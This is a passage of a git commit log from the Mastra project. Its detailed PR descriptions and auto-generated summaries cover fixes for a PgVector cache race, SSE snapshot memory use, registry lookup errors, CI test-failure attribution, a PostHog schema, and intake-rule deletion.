## Checklist

- [ ] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** When a database index is deleted and rebuilt while the app is
starting, the app can save the old index details in its cache. This
change stops the startup check from saving those old details, so later
saves and searches use the current index.

## Summary

This change fixes stale cache entries in `PgVector` startup warmup. The
constructor starts a background warmup. The warmup lists indexes and
reads each index's metadata. If `deleteIndex()` or an index rebuild runs
during that time, the warmup can cache metadata for an index that
changed or no longer exists.

The change in `stores/pg/src/vector/index.ts` does the following:

- Adds a `warmupInvalidations` field, typed `Set<string> | null`. Warmup
creates a new set when it starts. The field is set to `null` when warmup
finishes.
- `invalidateIndexCaches()` adds the index name to this set when the set
is not `null`.
- Warmup skips an index that is already in the set before it reads
metadata.
- Warmup checks the set again before it writes `createdIndexes` and
`indexVectorTypes`.
- Warmup collects the per-index read promises. Its `finally` block waits
for all of them with `Promise.allSettled`. Then it sets the field to
`null`.

The `finally` block keeps tracking active until every started read
settles. A single rejected read does not end tracking early. The
`cacheWarmupPromise` assignment is not changed in this diff. Its async
body now waits for the reads, so `disconnect()`, which waits for
`cacheWarmupPromise`, also waits for those reads.

Expected effects, as stated in the changeset:

- `upsert()` and `query()` do not fail with "Vector table ... does not
exist" after an index is deleted and created again during startup.
- `createIndex()` does not keep the previous metric when an index is
deleted and recreated, or rebuilt, during startup.

Invalidation applies only to operations on the same `PgVector` instance.
Changes made by another instance or process are not covered.

The change adds a patch changeset for `@mastra/pg` that describes both
fixes.

The PR also adds two tests to `stores/pg/src/vector/index.test.ts`.
According to the file summary, one covers upsert after delete and
recreate during warmup. The other covers metric and index type after
delete, recreate, and rebuild during warmup. The test file contents were
not inspected in this review. No test results were available.

**Scope:** 3 files changed, 132 lines added, 2 lines removed.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 18:40:43 -08:00
Ward Peeters
0ed63d7308
perf(server): stop deep-copying agent controller display state for every SSE client (#30615)
A long-running Factory server ("shipyard") grows from about 2 GB to
about 7 GB of memory over six hours, and garbage collection rises from
13% to about 42% of its busy CPU time, with event-loop stalls of up to 2
s. Its top allocation site is the agent controller SSE stream. Every
`display_state_changed` event was `structuredClone`d once for each
connected client in `toWireDisplayState`, then JSON-serialized again
once for each client by the server adapter. `structuredClone` copies
every string, so the current message text and every completed tool
result were duplicated in every snapshot, for every client, on every
update. Any frame waiting in a slow client's queue held its own full
copy.

This PR changes only `@mastra/server`. Nothing changes in `@mastra/core`
or the wire format.

**One snapshot per update.** The session bus hands every stream the same
event object in one synchronous dispatch. The stream handler now builds
one snapshot for that event and gives it to every stream of the session.
A single slot keyed by event identity is cleared in a microtask, so a
held event that is emitted again later gets a fresh snapshot.

**Strings are shared, not copied.** `snapshotForWire` copies the state
the way `JSON.stringify` would read it at that moment. It copies every
object and array, because the reducer updates tool status and results,
input buffers, file operations and subagent progress in place. It
resolves `toJSON` (Dates become ISO strings, as on the wire). It shares
strings and other primitives, which can't change. Shared and circular
references are kept the same way `structuredClone` kept them.

**Serialized once.** When a second stream takes the same frame,
`shareStreamChunk` marks it, and `serializeStreamChunk` caches its JSON
in a `WeakMap`. Every client of the session reuses one string. A lone
client never creates a cache entry.

With no clients connected the bus already does no snapshot work, so
`SessionBus` and its ordering guarantees (a pending coalesced snapshot
is flushed before the next non-coalescible event) are untouched.

**Test plan**

New tests in `agent-controller.test.ts` run through a real session bus,
the real stream route and the real `redactStreamChunk` +
`serializeStreamChunk`, then parse the bytes back.

A slow client with every frame queued before it reads still sees each
step of the turn as it was when emitted. For example, a tool is
`running` before it is `completed`, input-buffer text grows, and file
operations go from 1 to 2. Two clients of one session get identical
frames, and a client of another session sees only its own state.
Re-emitting a held `display_state_changed` event sends the current
state, not the cached frame. A parsed tool result with an own
`__proto__` key arrives unchanged.

Each test fails when the matching piece is broken on purpose: a shallow
copy, a never-cleared slot, a frame shared across events, or plain
assignment of `__proto__`. The first three tests also pass on the old
`structuredClone` code, so they check what clients receive, not how it
is built.

Suites run:
- `packages/server`: full suite 3574 passed. `tsc --noEmit`, lint and
prettier are clean.
- `packages/core`: `display-state.test.ts` 106 passed, including the
coalesced-flush ordering test.
- `server-adapters/hono`: 3524 tests passed. Four files didn't load
locally because `@mastra/client-js` and `@mastra/duckdb` weren't built.

`packages/server/scripts/bench-agent-controller-stream.ts` drives a real
session and the real stream route through one turn. The turn is 500 text
deltas spaced past the 16 ms coalescing window, plus one 100 KB tool
result, giving 1018 frames per client. Each client redacts, serializes,
frames and encodes every frame the way the adapters do. `allocated`
comes from one heap-sampling run and counts collected objects. The other
columns are medians of 7 runs, against `origin/main`:

| clients | allocated | time inside `session.emit` | CPU | GC |
| --- | --- | --- | --- | --- |
| 0 | 1.7 → 1.6 MB | 11 → 16 ms | 48 → 62 ms | 3× / 0.7 ms → 2× / 0.9 ms
|
| 1 | 174.8 → 122.0 MB | 73 → 62 ms | 301 → 341 ms | 7× / 9.7 ms → 14× /
10.1 ms |
| 5 | 851.7 → 349.2 MB | 112 → 50 ms | 1320 → 756 ms | 22× / 39.3 ms →
10× / 19.3 ms |

The benchmark hashes every client's full byte stream. The hash is
`aa4b36c9b3ae0e21` before and after, for both 1 and 5 clients. A
separate one-off run with awkward values was also byte-identical. The
values were Dates, nested Map/Set, shared and circular references,
BigInt, `NaN`, `-0`, sparse and typed arrays, class instances,
integer-like keys, U+2028 and lone surrogates.

For one client, allocation drops by about 30%. The 0-client row runs no
changed code, so its differences are noise. CPU and GC moved both ways
across runs: over about 8 paired runs CPU was 293–416 ms before and
281–390 ms after, and GC time stays flat, so I'd call it neutral. The
gain grows with every extra client on a session.

**Decision needed.** Values that `structuredClone` mishandles now
serialize the same way JSON serializes them, which is how every other
stream event is already sent:
- A function or symbol anywhere in display state used to make
`structuredClone` throw. The stream listener then unsubscribed and the
client silently stopped getting events. Now the value is dropped and the
stream keeps going.
- A class instance with `toJSON` used to arrive as its own fields, for
example `{"cents":150}`. It now sends its `toJSON` output, for example
`"$1.50"`.
- An `Error` with custom enumerable fields used to arrive as `{}`. It
now keeps those fields, for example `{"statusCode":403}`.

The run engine turns tool errors into message strings, so I don't expect
the last two in practice. Please confirm this is acceptable.

**Open risks and questions**

Sharing depends on a convention: once a frame is marked shared it must
not be mutated. No adapter mutates chunks (`redactStreamChunk` returns
`display_state_changed` as-is), and the frames are not frozen. A custom
adapter that mutated a chunk would leak the change to other clients of
the session. In-process consumers of the route also now receive the same
frame object as the other streams of that session.

If one client drains a shared frame quickly and another is stalled, the
cached JSON stays alive until the stalled client reads the frame. Each
queued frame then pins about one serialized frame. That is roughly the
size the old per-client clone held, so not worse, but a stalled client
still costs memory per queued frame.

I haven't reproduced the production growth itself. This PR removes the
per-client clone, the duplicated strings and the repeated stringify. It
doesn't address two other things:
- **Unbounded queues.** The stream handler enqueues without checking
`desiredSize`, so a client that stops reading can make its queue grow
without limit. I haven't checked how each adapter handles a slow socket.
- **Full snapshots.** Every snapshot still carries the full state,
including every completed tool result.

Either could account for part of the 2 → 7 GB growth.

If the handler and an adapter were ever loaded from different builds
(ESM and CJS), they would hold separate caches. Clients would still get
correct bytes, just without the shared serialization. In the current
`dist`, both import `serializeStreamChunk` from the same chunk.

Each adapter still builds and encodes `data: ${json}\n\n` for every
client. That is most of the remaining per-client cost, about 58 MB per
client in the benchmark. Caching encoded frames would mean touching
every adapter, so I left it out.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

The server sends the same agent status updates to many viewers. Before
this change, it made a full copy of each update for every viewer. Now it
makes one snapshot per update and reuses the serialized result for
viewers that receive the same update. This uses less memory and less
processing.

## Summary

This change affects only `@mastra/server`. It does not change
`@mastra/core` or the wire format.

The change does the following for `display_state_changed` events:

- Creates one snapshot per dispatched event for all streams in a
session.
- Shares strings and other primitives. Copies objects and arrays.
- Marks a frame as shared when several streams use it. Caches its
serialized JSON so clients reuse one serialization. A single-client
stream does not create a cache entry.
- Clears the snapshot slot in a microtask. A later re-emission of the
same event gets a new snapshot.

The change does not alter `SessionBus` or its ordering guarantees.

## Changes by file

- `.changeset/modern-regions-lead.md` (+5): Adds a patch changeset for
`@mastra/server`.
- `packages/server/src/server/handlers/agent-controller.ts` (+87/-13):
Builds the display-state snapshot. Recursively copies objects and
arrays. Preserves shared and circular references. Resolves `toJSON`.
Unboxes `Number`, `String`, and `Boolean` objects. Clones typed-array
views. Keeps an own `__proto__` key as a data property. Converts
Map-valued fields to records. Reuses one serialized frame for streams
that receive the same event during one synchronous dispatch.
- `packages/server/src/server/server-adapter/serialize.ts` (+23/-2):
Adds `shareStreamChunk<T extends object>(chunk: T): T`, which marks an
object for shared serialization. `serializeStreamChunk` reuses the first
result for marked objects, including failures. Unmarked chunks serialize
on each call. The cache uses weak object keys.
- `packages/server/src/server/handlers/agent-controller.test.ts` (+234):
Adds wire-level tests. The tests cover:
  - Queued frames that keep the state from their emission time.
  - Identical frames for multiple clients of one session.
  - Isolation between sessions.
  - Tool results with an own `__proto__` key.
  - Boxed primitive values.
- Refreshed state when a held `display_state_changed` event is
re-emitted.
- `packages/server/scripts/bench-agent-controller-stream.ts` (+263):
Adds a benchmark. It drives a session through the stream route with a
set number of clients. It reports CPU time, synchronous `session.emit`
time, GC activity, sampled allocations, wire size, frame count, and
per-client wire hashes.

## Behavior changes

- Clients receive identical bytes for a shared event.
- Message text and tool results are shared, not copied.
- An unclonable value no longer closes the stream. Functions and symbols
are dropped.
- Class instances serialize through `toJSON`.
- Enumerable custom fields on `Error` objects are kept.
- An own `__proto__` key is kept as a data property.
- Boxed `Number`, `String`, and `Boolean` values are unwrapped, as in
JSON serialization.

## Testing (author-reported, not verified here)

- `packages/server`: 3,574 tests passed. `tsc --noEmit`, lint, and
Prettier passed.
- `packages/core` `display-state.test.ts`: 106 tests passed, including
the coalesced-flush ordering test.
- `server-adapters/hono`: 3,524 tests passed. Four files did not load
because `@mastra/client-js` and `@mastra/duckdb` were not built.
- Benchmark, one client: allocation fell from 174.8 MB to 122.0 MB.
- Benchmark, five clients: allocation fell from 851.7 MB to 349.2 MB.
- Full-stream hashes matched before and after for one and five clients.
- CPU and GC results were reported as neutral. The 0-client row runs no
changed code and was reported as noise.
- CI status on the current head: not available.

## Open risks and review questions

- The author has not reproduced the production memory growth.
- Slow-client queues are unbounded.
- Snapshots still include full state.
- Shared frames are not frozen. A custom adapter that mutates a shared
frame could affect other streams in the session.
- Adapters still encode a separate SSE frame per client.
- The author asks reviewers to confirm that the JSON handling for values
that `structuredClone` mishandles is acceptable.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 18:40:25 -08:00
Tyler Barnes
4feafd33e1
feat(mastracode): export runTui so other programs can start the TUI with extra session options (#30371) 2026-11-16 19:34:58 -07:00
mastra-platform[bot]
c451f9c63a
fix(create-factory): stop scaffolding when a --tag registry lookup fails (#30614)
> Opened by @DSchau

Follow-up to #30598.

## Summary
`create-factory --tag <dist-tag>` looks up each `mastra`/`@mastra/*`
package's dist-tags with `npm view` and pins the package to that
version. Before this change, a failed lookup (for example a network
error or a registry 5xx) was handled the same way as a package that has
no release under the tag. If one lookup failed while the others
succeeded, the CLI kept the template's version for that package, showed
a "no release found" warning, and installed a project that mixed release
channels.

Now:
- **A lookup fails for any package:** the CLI stops before installing
and names the affected packages ("Could not look up the "alpha" versions
of @mastra/factory. Check your network connection and npm registry
access.").
- **A package has no release under the tag:** unchanged. The CLI keeps
the template's version and shows a warning.
- **No package has a release under the tag (e.g. a typo):** the CLI
stops with "No Mastra packages are published under the "<tag>" tag."

## Test plan
- [x] New test: one `npm view` fails while the others succeed. The
scaffold rejects, names the package, and never runs install.
- [x] New test: an unknown tag fails before install with the new
message.
- [x] Existing tests still pass, including the one where a package has
no release under the tag.
- [x] `vitest` 74/74, `tsc --noEmit`, `oxlint` all pass

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** When you create a new Mastra project with a version tag, the
tool now stops if it cannot check a package's version. Before, it could
not tell a failed check apart from a package with no release under that
tag. Now it stops and tells you which package failed the check.

## Summary

This change updates how `create-factory --tag` handles npm registry
lookups for `mastra` and `@mastra/*` packages. It separates two cases:

- **Lookup failure.** The registry request throws. Scaffolding stops
before installation. The error names the packages whose lookup failed
and suggests an `npm view <package> dist-tags` check.
- **No release under the tag.** The registry responds, but the package
has no version for the tag. The package keeps its template version. A
warning is shown.

If no package resolves under the tag, scaffolding stops with the error
`No Mastra packages are published under the "<tag>" tag.`

## Changes

- `mastracode/mastra-factory/src/utils/versions.ts`
- `PinResult` gains a `failed` field that lists packages whose lookup
failed.
- `resolveDistTag` returns `{ version }` for a valid version, `{}` when
the tag has no valid version, and `{ failed: true }` when the lookup or
parsing throws.
- `pinMastraPackages` returns without writing `package.json` if any
lookup failed.
  - Packages with no version for the tag stay in `unresolved`.
- `mastracode/mastra-factory/src/create.ts`
- If `pinMastraPackages` throws, the pinning spinner stops with a
failure message. The error is rethrown.
- If any lookups failed, the spinner stops and the error names the
failed packages and includes a registry and tag check command.
- When no package pins and some packages are unresolved, the error
reports that no packages are published under the tag. It includes a
command to list available tags.
- `mastracode/mastra-factory/src/create.test.ts`
- New test: a tag with no published Mastra packages fails with the
tag-specific message. Installation does not run.
- Replaced test: a lookup failure for `@mastra/factory` fails with a
package-specific error. Other lookups return tag data. `@mastra/core`
remains at `latest`. Installation does not run.
- `.changeset/create-factory-tag-lookup-errors.md`
- Adds a `patch` changeset for `create-factory`. It describes the
lookup-failure and missing-release behavior.

Diff size: 4 files, +61 and -16 lines.

## Verification

The PR author reports that `vitest` (74/74), `tsc --noEmit`, and
`oxlint` pass. These results are not verified here. This summary is
based on the diff metadata and the supplied change summaries only.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-17 01:30:49 +00:00
Tyler Barnes
8847e06005
ci(test-tiers): name the merge that broke a skipped test and alert its author (#30606)
## Why

Test tiers skip test files and jobs on PRs when they haven't failed in
30 days. The full suite still runs on the alpha versioning PR
(`changeset-release/main`), so a merge that breaks a skipped test goes
green on its PR. The failure then turns up later on the versioning run,
with nobody pointed at it. That's what happened with #29370, which broke
`goal-step.test.ts`, and #30434, which broke the Playground autosave
test.

## What this does

When a versioning run fails in a file or job that tiers had skipped, the
tier update now passes those escapes to a new `attribute` job. That job:

1. Finds the last green versioning run (up to 72 hours back) and lists
the first-parent merges on `main` between it and the red head (at most
60).
2. Bisects those merges, running only the escaped test file at each
step. It checks out the commit, installs, builds the package and its
dependencies from the read-only Turbo cache, and runs Vitest across the
`unit`, `typecheck`, `e2e:packages/*` and `e2e:client-sdks/*` projects,
the same ones the PR jobs use.
3. Names a merge only when the file fails there twice and passes at its
parent. A file that passes at the red head is reported as not reproduced
(a flake). A file that also fails before the range, or can't be run, is
unconfirmed. Nobody is tagged in either case.

When a file is reported by more than one project, any failure wins. The
file passes only if every result passed, and a file with no result is
unconfirmed.

A separate `notify` job holds the Slack token and sends the messages. If
`attribute` fails or times out (45 minutes), `notify` sends the plain
fallback alert that `update` prepared. The escaped file goes back into
the PR tier for 30 days, as before.

### Who gets tagged

The message names the PR, its title and its author, tagged through
`.github/slack-users.json`. A login that isn't in the map is printed as
a plain `@login`.

When the PR was opened by a bot, the bot can't answer for it, so the
message tags a person instead and says who they are to the PR:

1. the human who merged it ("merged by"); otherwise
2. every human whose latest review approved it ("approved by");
otherwise
3. the human(s) credited on the most commits, counting commit authors
and `Co-authored-by` trailers with GitHub noreply addresses
("co-authored by"); otherwise
4. `@here`.

`@here` is for when we can't tell who the person is. It is not for a
person we know but who is missing from the Slack map: they still get a
plain `@login`. Reviews and commits are read across every page. A lookup
that fails, or a commit list at GitHub's 250-commit cap (which may be
cut off), counts as unknown, and that rung is skipped rather than
guessed from. PR titles are escaped, so a title can't inject `<!here>`
or other mentions.

## Testing

- `node --test scripts/test-tiers/*.test.mjs`: 96 pass on Node 22 and
24. The new tests fail with the attribution module removed. Each
stand-in rung, the title escaping, any-failure-wins aggregation, E2E
project selection and pagination fails its own test when that rule is
removed.
- Replays against real versioning runs, at the real commits:
- #29370 (`goal-step.test.ts`, run 43907413456): found merge `929c8ab`
over 3 merges in 182 s.
- #30434 (autosave test, run 43750070686): found merge `b666fdb` over 2
merges in 495 s. The PR was opened by a bot, so the message reads "by
mastra-platform[bot] (bot), merged by @abhiaiyer91".
- A flaky `execute-tool-core.test.ts` failure (run 43848445791): passed
at the red head, so not reproduced and no alert, in 64 s.
- The runner, run for real on `main`, passed a unit file and a package
E2E file and returned an error for a missing file. That took 51 s.
- `actionlint` reports only the custom runner label.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: When a versioning test fails in a file that the test tiers had
skipped, this PR finds the code change that caused it. It then posts a
Slack message that names the likely author. If that search cannot
finish, it posts a simpler alert instead.

## Overview

This PR adds attribution for test failures from versioning runs. The
failing file or job was skipped by the test tiers. The PR adds a new
`attribute` job. The job searches for the failing commit range and
reports the merge that introduced the failure. A separate `notify` job
posts a fallback alert if attribution fails or times out.

## Changes

- **`scripts/test-tiers/attribute.mjs`** (new, +455): Main attribution
logic.
  - Finds files and jobs that moved from tier `out` to `in`.
- Selects the latest successful versioning run from the preceding 72
hours.
- Considers at most 60 first-parent merges between the green run and the
failing run.
  - Bisects those merges by running the escaped file.
- Reports a merge only when the file fails there twice and passes at its
parent.
  - Reports a file as not reproduced when it passes at the failing head.
- Reports a file as unconfirmed when it also fails before the range or
cannot run.
  - Resolves culprit PRs and selects stand-ins for bot-authored PRs.
  - Generates Slack messages with escaped mrkdwn.
- Runs the `unit`, `typecheck`, `e2e:packages/*`, and
`e2e:client-sdks/*` projects.
- Passes a remaining-time timeout to each command. The script defaults
`DEADLINE_MINUTES` to 38. The PR description states a 45-minute job
deadline. The source does not yet confirm how these two values relate.
- **`scripts/test-tiers/attribute.test.mjs`** (new, +518): Tests for the
functions above. Covers bisect steps, verdicts, stand-ins, alert
grouping, paginated lookups, and deadline-aware runner timeouts.
- **`scripts/test-tiers/update.mjs`** (+9/-1): Imports `escapedFiles`.
Adds an optional `--escapes-out=<file>` argument to the versioning
command. Snapshots tier data before applying failures. Writes the run ID
and escape details to the output file when the argument is set.
- **`.github/workflows/test-tiers.yml`** (+106/-2): Records escapes in
job outputs. Runs the `attribute` job when escapes exist. Posts
attribution results or the fallback `notify` alert. Documents the new
behavior.
- **`.github/slack-users.json`** (+1): Adds an empty JSON object.

## Alert behavior

- For human-authored PRs, the alert names the PR, title, and author.
- For bot-authored PRs, the alert names, in order:
  1. The human who merged the PR.
  2. If unavailable, the humans with the latest approving reviews.
  3. If unavailable, the most-credited commit authors.
  4. If none are available, `@here`.
- Unknown Slack mappings appear as plain `@login`.
- Titles are escaped to prevent injected mentions.

## Result semantics

- A file that fails in any project result is a failure.
- A file passes only when every project result passes.
- A file with no project result is unconfirmed.
- An escaped file returns to the PR tier for 30 days.

## Verification

- The PR author reports 96 passing tests on Node 22 and 24, using `node
--test scripts/test-tiers/*.test.mjs`. This was not verified in this
review.
- The PR author reports replays against two real versioning runs that
found the breaking merges. This was not verified in this review.
- The PR author reports a flaky failure that was not reproduced and did
not alert. This was not verified in this review.
- The PR author reports a real `main` runner check that passed unit and
package E2E files and errored on a missing file. This was not verified
in this review.

## Scope

- Total: 5 files changed, +1089 / -3 lines.
- No exported or public declarations were removed.
- New exported functions and constants are listed in the `attribute.mjs`
source.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-16 18:27:39 -07:00
Leo
b1ba914ea1
fix(connect): accept PostHog column type pairs in posthog_run_query (#30541)
## Summary

`posthog_run_query` in `@mastra/connect` failed provider-response
validation whenever PostHog returned column types, which it does for
every query with columns, even `select 1`: the schema expected `types`
as strings, and PostHog sends `[columnName, clickhouseType]` pairs such
as `[["1", "UInt8"]]`. Both schemas now accept those pairs, through a
generator override in `scripts/generate-provider.ts` like the Fireflies
and OpenAI ones. The pinned template commit returns 404 upstream, so the
override's output was applied to `tools/run-query.ts` by hand, and a
generator test proves it matches a regeneration byte for byte.

```diff
 // posthog/run-query, in both runQueryOutputSchema and ProviderResponseSchema
-types: z.array(z.string()).nullish()
+types: z.array(z.tuple([z.string(), z.string()])).nullish()
```

## Evidence

The new test `src/__tests__/posthog-run-query.test.ts` goes through the
public `tools()` resolver against a real localhost HTTP server; only the
PostHog response body is scripted, starting from the issue's `select 1`
payload.

- **Before** (main's generated tool): 4 of 9 fail. Three are the bug,
with the issue's error:
  ```
  × returns the rows and column types for select 1
  × returns a type pair per column for a grouped query
  × keeps column types for a query that returns no rows
ZodError: path ["types", 0]: Invalid input: expected string, received
array
  ```
The fourth, `rejects flat string types`, fails because main accepts flat
strings; it pins the new contract.
**After:** 9 of 9 pass. Pairs, multiple columns, zero rows, and `null`,
omitted or empty `types` are accepted; flat strings, a one-element entry
and a three-element entry are rejected.
- **Response shape:** PostHog's source fills `types` with pairs on every
path
([`query.py:140`](d4c65ec5da/posthog/hogql/query.py (L140))
`Sequence[tuple[str, str]]`, from
[`with_column_types=True`](d4c65ec5da/posthog/hogql/query.py (L1097));
[`direct_sql/adapter.py:63`](d4c65ec5da/posthog/hogql/direct_sql/adapter.py (L63))
`list[tuple[str, str]]`). The issue and triage suggested a union that
also keeps flat strings; it is left out because no PostHog path emits
them. Only `posthog_run_query` declared `types` as `string[]`;
`posthog_get_insight` and `posthog_list_insights` already use
`z.array(z.unknown())` and are unaffected.
- **Generator:** with the override off, the reconstructed template
regenerates main's `run-query.ts` byte for byte; with it on, it
regenerates the committed file byte for byte. Five drift cases stop
generation if the template changes shape. 40 of 40 pass.
- **Smoke step:** the live `run query` step now fails unless `types`
holds one name/type pair per returned column.
- `@mastra/connect` suite 531 of 531, `tsc --noEmit`, `oxfmt --check`
and `oxlint` pass (type-aware lint is left to CI).
- **Not checked:** a live PostHog query (no Platform credentials here)
and regeneration from the real pinned template (the commit returns 404).
The byte-for-byte match proves the reconstructed fixture generates
main's file, not that it equals the upstream source.

## Merge Danger

Low risk; reverting the PR undoes it. The output contract changes:
`types` goes from `string[]` to `[string, string][]`, which the
changeset states for anyone typed against the exported schema. Pair
responses used to fail and now pass; `null`, omitted and empty `types`
pass as before; flat strings, which PostHog never sends, are now
rejected. If PostHog ever changes the shape again, the whole call fails,
rows included. Only `posthog_run_query` changes. On main,
`src/providers/posthog/tools.ts` already differs from its manifest
checksum, so the next regeneration will rewrite it too; this PR does not
touch it.

## Council review

Rounds: 8 (stopped: stalled)

| Seat | R1 | R2 | R3 | R4 | R5 | R6 | R7 | R8 |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| Claude Opus 5.5 | not run | 8.5/10 | 9/10 | 9/10 | 9/10 | 9/10 | 9/10
| 9/10 |
| GPT-6.1 Sol | 9/10 | 9.3/10 | 9.5/10 | 9.4/10 | 9.5/10 | 9.5/10 |
9.5/10 | 9.5/10 |
| Grok 4.7 | empty seat | empty seat | empty seat | empty seat | empty
seat | empty seat | empty seat | empty seat |
| Kimi K3.1 | not run | not run | not run | 10/10 | 9.3/10 | 9.8/10 |
9.5/10 | 9.5/10 |
| DeepSeek V4.1 Flash | not run | not run | not run | 9/10 | 9/10 | 9/10
| 9/10 | 9/10 |

The bar was 9/10 in every category from every seat. Every seat scored
correctness and test proof at 9 or above in every full-panel round. The
last five rounds did not raise the median score, so the council stopped:
in round 8 Opus and DeepSeek scored scope 8.5 over the size of the
reconstructed generator fixture, which earlier rounds asked for, and
their remaining notes are polish.

Fixes #30528

Follow-up: fix the schema in the upstream PostHog run-query template,
then remove the override and replace the reconstructed test fixture with
the real template.

Created with Claude Opus 5.5 in T3 Code.

🤖 Generated with [Claude Code](https://claude.com/claude-code)


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** PostHog now sends column types as pairs. Connect's query tool
expected a plain list of strings, so every successful query failed. This
change makes the tool accept PostHog's pair format and return it
unchanged.

## Overview

`posthog_run_query` now accepts `types` as arrays of `[columnName,
clickhouseType]` string pairs. The change applies to the provider
response schema and the tool output schema. It addresses issue `#30528`.
The issue asks for PostHog's pair format to validate. This change uses a
strict pair schema. It does not use the issue's suggested union or a
looser unknown-value schema.

## Changes by file

- `.changeset/posthog-query-column-types.md`: Adds a patch changeset for
`@mastra/connect` (+5).
- `packages/connect/src/providers/posthog/tools/run-query.ts`: Changes
`types` in the output schema and the provider response schema to arrays
of `[string, string]` tuples. Updates the output description to identify
each pair's contents. The file is edited by hand (+5/-2).
- `packages/connect/src/providers/posthog/.manifest.json`: Updates the
SHA-256 entry for `tools/run-query.ts` to match the hand edit (+1/-1).
- `packages/connect/scripts/generate-provider.ts`: Adds
`adaptPosthogRunQuery`. The adapter rewrites `types` in the output and
provider-response schemas to string-pair tuples. It also updates the
output description. Generation throws if an expected declaration or
pattern is missing. The override dispatcher applies this adapter to
`posthog/run-query` (+49).
- `packages/connect/src/__tests__/provider-commands.test.ts`: Adds a
reconstructed `run-query` template fixture. Adds a byte-for-byte test
that generation with the override off matches the pre-override tool.
Adds a byte-for-byte test that generation with the override on matches
the shipped tool and manifest checksum. Adds drift cases that expect
generation to reject changes to the response schema, the output `types`
schema, or the output description (+248).
- `packages/connect/src/__tests__/posthog-run-query.test.ts`: Adds a
`describe` block with seven cases. The cases cover `select 1`, a grouped
query, a query with no rows, `types: null`, an omitted `types` field, an
empty `types` list, and rejection of entries that are not name/type
pairs (+218).

Totals: 6 files changed, 526 lines added and 3 lines removed.

## Verification

These results are author-reported. They were not re-run for this
summary.

- The PR description reports the `@mastra/connect` suite (526 tests),
`tsc --noEmit`, `oxfmt --check`, and `oxlint` as passing.
- The PR description reports five passing `posthog-run-query` cases. The
test file contains seven cases. The reported count may predate the last
change.
- The PR description reports the PostHog generator suite as six tests.
The generator tests are in `provider-commands.test.ts`. That file
contains more than six cases, so the reported count may not cover the
full file.

## Not verified

- A live PostHog project was not tested. Platform credentials were
unavailable.
- Regeneration from the real pinned upstream template was not tested.
The upstream template commit could not be fetched. The generator tests
use a fixture rebuilt from the generated tool.

## Follow-up

- The generator override exists because the upstream template commit
could not be fetched. The manifest checksum and `run-query.ts` depend on
the hand edit until the upstream template is fixed and regenerated. The
override then needs removal.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-16 17:17:59 -08:00
Ward Peeters
2d53b0462d
fix(factory): delete an intake rule without renumbering the rules after it (#30613)
## Problem

On a deployment with a remote Postgres (e.g. Shipyard), `DELETE
/web/factory/projects/:id/intake-routes/:routeId` took very long, and
deleting a rule broke other admins' open rule edits.

The delete closed the position gap it left: it rewrote every rule after
the deleted one with two sequential UPDATEs each (park at a negative
position, then the final position — ~2N round trips inside one
transaction). Each rewrite also bumped the rule's revision, so an edit
another admin had open failed with a stale-revision 409 when saved.
Deleting a board compacted its surviving project's rules the same way.

## Fix

Stop compacting positions on delete. Gaps are safe: every reader sorts
by `position`, new rules insert at `max + 1`, and reorder / insert-ahead
renumber the whole list anyway. The single-rule delete and the board
delete now only remove the deleted rows — O(1) route-table writes, and
the surviving rules keep their positions, revisions and order. No schema
change; the UI already renders rules by list order.

## Tests

- New storage scenario (LibSQL + Postgres): rules over two boards,
delete one near the top → zero writes to the route table (spied), the
other rules keep order/revision/fields exactly, an edit loaded before
the delete still saves, and later insert + reorder still work over the
gap.
- New HTTP scenario (LibSQL + Postgres): delete a rule through the API →
remaining rules keep revision 1 and a PATCH holding a pre-delete
revision answers 200 instead of 409.
- Updated the board-delete scenario to pin that surviving rules keep
their positions/revisions, and removed assertions that pinned the old
contiguous renumbering.
- Both new scenarios were verified red on the previous code (8 route
writes / revision bumps / 409) and green on this change.
- Net test lines: +45 (81 insertions, 36 deletions across 4 test/source
files).

Gates: `build:lib`, `tsc --noEmit`, `oxlint --type-aware`, `oxfmt`,
focused intake/boards/dispatcher suites on LibSQL and a dedicated
postgres:16 container, CLI route metadata regenerated with no drift.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** When someone deletes an intake rule, the app used to renumber
every rule below it. That caused slow writes on remote databases and
conflicts for editors who had a rule open. Now deletion removes only the
selected rule, and the other rules keep their positions and revisions.

## Summary

This change stops intake-rule deletion from renumbering surviving rules.
It applies to single-rule deletion and to board deletion. The change
also prevents board-scoped reorder and insert-ahead from renumbering or
revision-bumping rules that do not move.

Before this change, deletion closed the position gap by updating every
later rule. On remote Postgres, this added many route-table writes. It
also changed each survivor's revision. An editor who loaded a rule
before the delete then received a stale-revision conflict on save.

After this change:

- Deletion removes only the selected rows.
- Surviving rules keep their positions, revisions, and order.
- Position gaps are allowed. Readers sort by position.
- New rules use `max + 1`.
- Project-wide reorder still compacts positions.
- Board-scoped reorder assigns the board's rules only to position slots
that the board already holds. Other boards' rules keep their positions
and revisions.
- Insert-ahead uses a free gap before the catch-all when one exists.
Otherwise, it moves only the catch-all and the rules after it.
- Default seeding is unchanged. It places new defaults at the start of
the list.
